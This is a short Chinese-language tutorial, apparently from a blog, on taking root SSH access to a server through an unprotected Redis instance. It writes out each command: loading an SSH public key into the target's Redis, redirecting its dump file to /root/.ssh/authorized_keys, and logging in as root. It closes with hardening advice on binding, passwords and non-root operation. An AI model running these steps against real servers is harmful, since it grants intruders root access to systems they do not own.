利用Redis写入SSH公钥获取服务器登陆权限
前置条件:
1、操作机已安装redis客户端:redis-cli
2、已使用ssh-keygen生成用于测试的ssh公钥|私钥(ssh-keygen -t rsa -C "test")
操作步骤:
1、将之前生成的公钥写入文件中
cd ~/.ssh/ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> hack.txt
2、将hack.txt写入靶机Redis
Redis客户端连接Redis服务器的方法:
无密码连接方法:redis-cli -h [Redis服务器IP]
有密码连接方式:redis-cli -h [Redis服务器IP] –a [Redis连接密码]
cat hack.txt | redis-cli -h 192.168.18.60 -x set crack
3、利用Redis客户端连接靶机Redis
redis-cli -h 192.168.18.60 #查看靶机Redis备份路径 CONFIG GET dir #修改靶机Redis备份路径 CONFIG SET dir /root/.ssh #设置备份文件的名称为authorized_keys CONFIG SET dbfilename authorized_keys #检查是否更改成功 CONFIG GET dbfilename #保存 save
4、测试ssh公钥是否写入成功
ssh root@192.168.18.60
看下图成功通过redis实现免密ssh到靶机:
至此通过redis获取靶机root用户SSH权限操作结束。
此漏洞防御方案如下:
1、不要使用root用户运行redis服务
2、只允许本机访问Redis (在redis.conf配置文件设置bind配置项为:bind 127.0.0.1 )
3、增加Redis访问密码 (在redis.conf配置文件中找到requirepass 配置项,取消#注释符,在requirepass 后面添加需要设置的密码字符串)
更多精彩